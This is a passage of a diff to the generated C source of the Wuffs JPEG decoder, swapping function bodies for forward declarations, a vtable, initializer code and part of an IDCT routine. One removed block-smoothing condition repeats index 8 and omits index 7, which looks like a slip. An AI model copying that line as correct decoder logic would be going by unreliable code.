v_mcu_blocks_my_mul_0 = 0; +- uint32_t v_my = 0; +- uint32_t v_mx = 0; +- uint64_t v_stride = 0; +- uint64_t v_offset = 0; +- uint8_t v_stashed_mcu_blocks_0[128] = {0}; +- +- wuffs_base__bulk_save_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); +- v_block_smoothing_applicable = true; +- v_csel = 0u; +- while (v_csel < self->private_impl.f_num_components) { +- if ((self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][0u] >= 16u) || wuffs_jpeg__decoder__top_left_quants_has_zero(self, ((uint32_t)(self->private_impl.f_components_tq[v_csel])))) { +- v_block_smoothing_applicable = false; +- } +- v_csel += 1u; +- } +- v_csel = 0u; +- while (v_csel < self->private_impl.f_num_components) { +- v_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); +- v_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); +- v_mcu_blocks_mx_mul_0 = 8u; +- v_mcu_blocks_my_mul_0 = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); +- if (v_block_smoothing_applicable && (0u != (self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][1u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][2u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][3u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][4u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][5u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][6u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][9u]))) { +- self->private_impl.choosy_load_mcu_blocks_for_single_component = ( +- &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth); +- self->private_impl.f_block_smoothing_mx_max_incl = wuffs_base__u32__sat_sub(v_scan_width_in_mcus, 1u); +- self->private_impl.f_block_smoothing_my_max_incl = wuffs_base__u32__sat_sub(v_scan_height_in_mcus, 1u); +- } else { +- self->private_impl.choosy_load_mcu_blocks_for_single_component = ( +- &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default); +- } +- v_my = 0u; +- while (v_my < v_scan_height_in_mcus) { +- v_mx = 0u; +- while (v_mx < v_scan_width_in_mcus) { +- wuffs_jpeg__decoder__load_mcu_blocks_for_single_component(self, +- v_mx, +- v_my, +- a_workbuf, +- v_csel); +- v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); +- v_offset = (self->private_impl.f_components_workbuf_offsets[v_csel] + (((uint64_t)(v_mcu_blocks_mx_mul_0)) * ((uint64_t)(v_mx))) + (((uint64_t)(v_mcu_blocks_my_mul_0)) * ((uint64_t)(v_my)))); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); +- } +- v_mx += 1u; +- } +- v_my += 1u; +- } +- v_csel += 1u; +- } +- wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.swizzle_gray ++ wuffs_base__slice_u8 a_workbuf); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status + wuffs_jpeg__decoder__swizzle_gray( + wuffs_jpeg__decoder* self, + wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_length = 0; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint32_t v_y = 0; +- uint64_t v_stride = 0; +- +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_length = ((uint64_t)((v_dst_bytes_per_pixel * self->private_impl.f_width))); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- v_y = 0u; +- while (v_y < self->private_impl.f_height) { +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_y); +- if (v_dst_length < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_length); +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), a_workbuf); +- v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[0u])); +- if (v_stride <= ((uint64_t)(a_workbuf.len))) { +- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, v_stride); +- } else { +- a_workbuf = wuffs_base__utility__empty_slice_u8(); +- } +- v_y += 1u; +- } +- return wuffs_base__make_status(NULL); +-} +- +-// -------- func jpeg.decoder.swizzle_colorful ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_x0, ++ uint32_t a_x1, ++ uint32_t a_y0, ++ uint32_t a_y1, ++ uint64_t a_stride); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status + wuffs_jpeg__decoder__swizzle_colorful( + wuffs_jpeg__decoder* self, + wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__slice_u8 v_src0 = {0}; +- wuffs_base__slice_u8 v_src1 = {0}; +- wuffs_base__slice_u8 v_src2 = {0}; +- wuffs_base__slice_u8 v_src3 = {0}; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- if ((self->private_impl.f_components_workbuf_offsets[0u] <= self->private_impl.f_components_workbuf_offsets[1u]) && (self->private_impl.f_components_workbuf_offsets[1u] <= ((uint64_t)(a_workbuf.len)))) { +- v_src0 = wuffs_base__slice_u8__subslice_ij(a_workbuf, +- self->private_impl.f_components_workbuf_offsets[0u], +- self->private_impl.f_components_workbuf_offsets[1u]); +- } +- if ((self->private_impl.f_components_workbuf_offsets[1u] <= self->private_impl.f_components_workbuf_offsets[2u]) && (self->private_impl.f_components_workbuf_offsets[2u] <= ((uint64_t)(a_workbuf.len)))) { +- v_src1 = wuffs_base__slice_u8__subslice_ij(a_workbuf, +- self->private_impl.f_components_workbuf_offsets[1u], +- self->private_impl.f_components_workbuf_offsets[2u]); +- } +- if ((self->private_impl.f_components_workbuf_offsets[2u] <= self->private_impl.f_components_workbuf_offsets[3u]) && (self->private_impl.f_components_workbuf_offsets[3u] <= ((uint64_t)(a_workbuf.len)))) { +- v_src2 = wuffs_base__slice_u8__subslice_ij(a_workbuf, +- self->private_impl.f_components_workbuf_offsets[2u], +- self->private_impl.f_components_workbuf_offsets[3u]); +- } +- if ((self->private_impl.f_components_workbuf_offsets[3u] <= self->private_impl.f_components_workbuf_offsets[4u]) && (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len)))) { +- v_src3 = wuffs_base__slice_u8__subslice_ij(a_workbuf, +- self->private_impl.f_components_workbuf_offsets[3u], +- self->private_impl.f_components_workbuf_offsets[4u]); +- } +- v_status = wuffs_base__pixel_swizzler__swizzle_ycck(&self->private_impl.f_swizzler, +- a_dst, +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), +- self->private_impl.f_width, +- self->private_impl.f_height, +- v_src0, +- v_src1, +- v_src2, +- v_src3, +- self->private_impl.f_components_workbuf_widths[0u], +- self->private_impl.f_components_workbuf_widths[1u], +- self->private_impl.f_components_workbuf_widths[2u], +- self->private_impl.f_components_workbuf_widths[3u], +- self->private_impl.f_components_workbuf_heights[0u], +- self->private_impl.f_components_workbuf_heights[1u], +- self->private_impl.f_components_workbuf_heights[2u], +- self->private_impl.f_components_workbuf_heights[3u], +- self->private_impl.f_components_workbuf_widths[0u], +- self->private_impl.f_components_workbuf_widths[1u], +- self->private_impl.f_components_workbuf_widths[2u], +- self->private_impl.f_components_workbuf_widths[3u], +- self->private_impl.f_components_h[0u], +- self->private_impl.f_components_h[1u], +- self->private_impl.f_components_h[2u], +- self->private_impl.f_components_h[3u], +- self->private_impl.f_components_v[0u], +- self->private_impl.f_components_v[1u], +- self->private_impl.f_components_v[2u], +- self->private_impl.f_components_v[3u], +- self->private_impl.f_is_rgb_or_cmyk, +- true, +- wuffs_base__make_slice_u8(self->private_data.f_swizzle_ycck_scratch_buffer_2k, 2048)); +- return wuffs_base__status__ensure_not_a_suspension(v_status); +-} +- +-// -------- func jpeg.decoder.frame_dirty_rect ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_x0, ++ uint32_t a_x1, ++ uint32_t a_y0, ++ uint32_t a_y1); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_jpeg__decoder__frame_dirty_rect( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- +- return wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height); +-} +- +-// -------- func jpeg.decoder.num_animation_loops ++static bool ++wuffs_jpeg__decoder__top_left_quants_has_zero( ++ const wuffs_jpeg__decoder* self, ++ uint32_t a_q); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_jpeg__decoder__num_animation_loops( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func jpeg.decoder.num_decoded_frame_configs ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_csel); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_jpeg__decoder__num_decoded_frame_configs( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- if (self->private_impl.f_call_sequence > 32u) { +- return 1u; +- } +- return 0u; +-} +- +-// -------- func jpeg.decoder.num_decoded_frames ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_jpeg__decoder__num_decoded_frames( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- if (self->private_impl.f_call_sequence > 64u) { +- return 1u; +- } +- return 0u; +-} +- +-// -------- func jpeg.decoder.restart_frame ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu__choosy_default( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__restart_frame( ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( + wuffs_jpeg__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- uint32_t v_i = 0; +- uint32_t v_j = 0; ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + +- if (self->private_impl.f_call_sequence < 32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } +- if (a_index != 0u) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- self->private_impl.f_call_sequence = 40u; +- self->private_impl.f_bitstream_is_closed = false; +- self->private_impl.f_frame_config_io_position = a_io_position; +- self->private_impl.f_scan_count = 0u; +- self->private_impl.f_restart_interval = self->private_impl.f_saved_restart_interval; +- v_i = 0u; +- while (v_i < 4u) { +- self->private_impl.f_seen_dqt[v_i] = self->private_impl.f_saved_seen_dqt[v_i]; +- v_j = 0u; +- while (v_j < 64u) { +- self->private_impl.f_quant_tables[v_i][v_j] = self->private_impl.f_saved_quant_tables[v_i][v_j]; +- v_j += 1u; +- } +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < 4u) { +- v_j = 0u; +- while (v_j < 10u) { +- self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; +- v_j += 1u; +- } +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < 8u) { +- self->private_impl.f_seen_dht[v_i] = false; +- v_i += 1u; +- } +- return wuffs_base__make_status(NULL); +-} ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + +-// -------- func jpeg.decoder.set_report_metadata ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_jpeg__decoder__set_report_metadata( ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( + wuffs_jpeg__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_base__make_empty_struct(); +-} ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + +-// -------- func jpeg.decoder.tell_me_more ++// ---------------- VTables + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__tell_me_more( ++const wuffs_base__image_decoder__func_ptrs ++wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_jpeg__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_jpeg__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_jpeg__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_jpeg__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_jpeg__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_jpeg__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_jpeg__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_jpeg__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_jpeg__decoder__initialize( + wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); + } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); + } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); + +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; ++ self->private_impl.choosy_decode_idct = &wuffs_jpeg__decoder__decode_idct__choosy_default; ++ self->private_impl.choosy_load_mcu_blocks_for_single_component = &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default; ++ self->private_impl.choosy_decode_mcu = &wuffs_jpeg__decoder__decode_mcu__choosy_default; + +- goto ok; +- ok: +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); + } + +-// -------- func jpeg.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_jpeg__decoder__history_retain_length( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return 0; ++wuffs_jpeg__decoder* ++wuffs_jpeg__decoder__alloc(void) { ++ wuffs_jpeg__decoder* x = ++ (wuffs_jpeg__decoder*)(calloc(1, sizeof(wuffs_jpeg__decoder))); ++ if (!x) { ++ return NULL; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (wuffs_jpeg__decoder__initialize( ++ x, sizeof(wuffs_jpeg__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; + } ++ return x; ++} + +- return 0u; ++size_t ++sizeof__wuffs_jpeg__decoder(void) { ++ return sizeof(wuffs_jpeg__decoder); + } + +-// -------- func jpeg.decoder.workbuf_len ++// ---------------- Function Implementations ++ ++// -------- func jpeg.decoder.decode_idct + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_jpeg__decoder__workbuf_len( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- +- return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_components_workbuf_offsets[8u], self->private_impl.f_components_workbuf_offsets[8u]); +-} +- +-// -------- func jpeg.decoder.top_left_quants_has_zero +- +-WUFFS_BASE__GENERATED_C_CODE +-static bool +-wuffs_jpeg__decoder__top_left_quants_has_zero( +- const wuffs_jpeg__decoder* self, ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__decode_idct( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, + uint32_t a_q) { +- return ((self->private_impl.f_quant_tables[a_q][0u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][1u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][2u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][3u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][8u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][9u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][10u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][16u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][17u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][24u] == 0u)); ++ return (*self->private_impl.choosy_decode_idct)(self, a_dst_buffer, a_dst_stride, a_q); + } + +-// -------- func jpeg.decoder.load_mcu_blocks_for_single_component_smooth +- + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( ++wuffs_jpeg__decoder__decode_idct__choosy_default( + wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel) { +- uint64_t v_stride16 = 0; +- uint64_t v_offset = 0; +- uint32_t v_dx = 0; +- uint32_t v_dy = 0; +- uint32_t v_mx = 0; +- uint32_t v_my = 0; +- uint8_t v_q = 0; +- uint32_t v_q_00 = 0; +- uint32_t v_q_xy = 0; +- uint8_t v_al = 0; +- uint32_t v_scratch = 0; +- uint32_t v_limit = 0; ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, ++ uint32_t a_q) { ++ uint32_t v_bq0 = 0; ++ uint32_t v_bq2 = 0; ++ uint32_t v_bq4 = 0; ++ uint32_t v_bq6 = 0; ++ uint32_t v_ca = 0; ++ uint32_t v_cb2 = 0; ++ uint32_t v_cb6 = 0; ++ uint32_t v_ccp = 0; ++ uint32_t v_ccm = 0; ++ uint32_t v_cd0 = 0; ++ uint32_t v_cd1 = 0; ++ uint32_t v_cd2 = 0; ++ uint32_t v_cd3 = 0; ++ uint32_t v_bq1 = 0; ++ uint32_t v_bq3 = 0; ++ uint32_t v_bq5 = 0; ++ uint32_t v_bq7 = 0; ++ uint32_t v_ci51 = 0; ++ uint32_t v_ci53 = 0; ++ uint32_t v_ci71 = 0; ++ uint32_t v_ci73 = 0; ++ uint32_t v_cj = 0; ++ uint32_t v_ck1 = 0; ++ uint32_t v_ck3 = 0; ++ uint32_t v_ck5 = 0; ++ uint32_t v_ck7 = 0; ++ uint32_t v_cl51 = 0; ++ uint32_t v_cl73 = 0; ++ uint32_t v_in0 = 0; ++ uint32_t v_in2 = 0; ++ uint32_t v_in4 = 0; ++ uint32_t v_in6 = 0; ++ uint32_t v_ra = 0; ++ uint32_t v_rb2 = 0; ++ uint32_t v_rb6 = 0; ++ uint32_t v_rcp = 0; ++ uint32_t v_rcm = 0; ++ uint32_t v_rd0 = 0; ++ uint32_t v_rd1 = 0; ++ uint32_t v_rd2 = 0; ++ uint32_t v_rd3 = 0; ++ uint32_t v_in1 = 0; ++ uint32_t v_in3 = 0; ++ uint32_t v_in5 = 0; ++ uint32_t v_in7 = 0; ++ uint32_t v_ri51 = 0; ++ uint32_t v_ri53 = 0; ++ uint32_t v_ri71 = 0; ++ uint32_t v_ri73 = 0; ++ uint32_t v_rj = 0; ++ uint32_t v_rk1 = 0; ++ uint32_t v_rk3 = 0; ++ uint32_t v_rk5 = 0; ++ uint32_t v_rk7 = 0; ++ uint32_t v_rl51 = 0; ++ uint32_t v_rl73 = 0; ++ uint32_t v_intermediate[64] = {0}; + +- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); +- v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ if (8u > a_dst_stride) { ++ return wuffs_base__make_empty_struct(); + } +- v_dy = 0u; +- while (v_dy < 5u) { +- v_my = wuffs_base__u32__min(self->private_impl.f_block_smoothing_my_max_incl, wuffs_base__u32__sat_sub((a_my + v_dy), 2u)); +- v_dx = 0u; +- while (v_dx < 5u) { +- v_mx = wuffs_base__u32__min(self->private_impl.f_block_smoothing_mx_max_incl, wuffs_base__u32__sat_sub((a_mx + v_dx), 2u)); +- v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(v_mx)) * 128u) + (((uint64_t)(v_my)) * v_stride16)); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_load_host_endian(&self->private_impl.f_block_smoothing_dc_values[v_dy][v_dx], 1u * (size_t)2u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); +- } +- v_dx += 1u; +- } +- v_dy += 1u; ++ if (0u == (self->private_data.f_mcu_blocks[0u][8u] | ++ self->private_data.f_mcu_blocks[0u][16u] | ++ self->private_data.f_mcu_blocks[0u][24u] | ++ self->private_data.f_mcu_blocks[0u][32u] | ++ self->private_data.f_mcu_blocks[0u][40u] | ++ self->private_data.f_mcu_blocks[0u][48u] | ++ self->private_data.f_mcu_blocks[0u][56u])) { ++ v_intermediate[0u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))) << 2u)); ++ v_intermediate[8u] = v_intermediate[0u]; ++ v_intermediate[16u] = v_intermediate[0u]; ++ v_intermediate[24u] = v_intermediate[0u]; ++ v_intermediate[32u] = v_intermediate[0u]; ++ v_intermediate[40u] = v_intermediate[0u]; ++ v_intermediate[48u] = v_intermediate[0u]; ++ v_intermediate[56u] = v_intermediate[0u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][16u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][16u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][48u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][48u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + 